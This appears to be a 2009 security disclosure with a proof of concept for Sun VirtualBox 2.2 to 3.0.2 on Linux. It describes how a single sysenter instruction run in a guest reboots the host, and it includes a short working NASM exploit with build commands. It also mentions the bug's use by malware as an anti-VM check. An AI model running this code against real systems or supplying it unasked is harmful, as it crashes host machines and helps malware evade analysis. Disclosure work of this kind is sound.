Sun's VirtualBox host reboot PoC
by Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
Disclosure made at 2009-08-01
VULNERABILITY INFORMATION
Remotely exploitable: no
Locally exploitable: yes
Affected versions: 2.2 - 3.0.2 r49928 for Linux
VULNERABILITY DESCRIPTION
VirtualBox VM is unable to handle fast call to privilege level 0 system
procedures (sysenter). If sysenter instruction is executed on the guest
OS the host machine will reboot. The technique was tested on the
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
clear whether it is possible to execute arbitrary code on the host,
however this trick can be successfully used by malware as an anti-vm
trick.
POC
; nasm -f elf vmhostreboot.asm
; gcc vmhostreboot.o -o vmhostreboot
BITS 32
SECTION .text
GLOBAL main
main:
sysenter
ret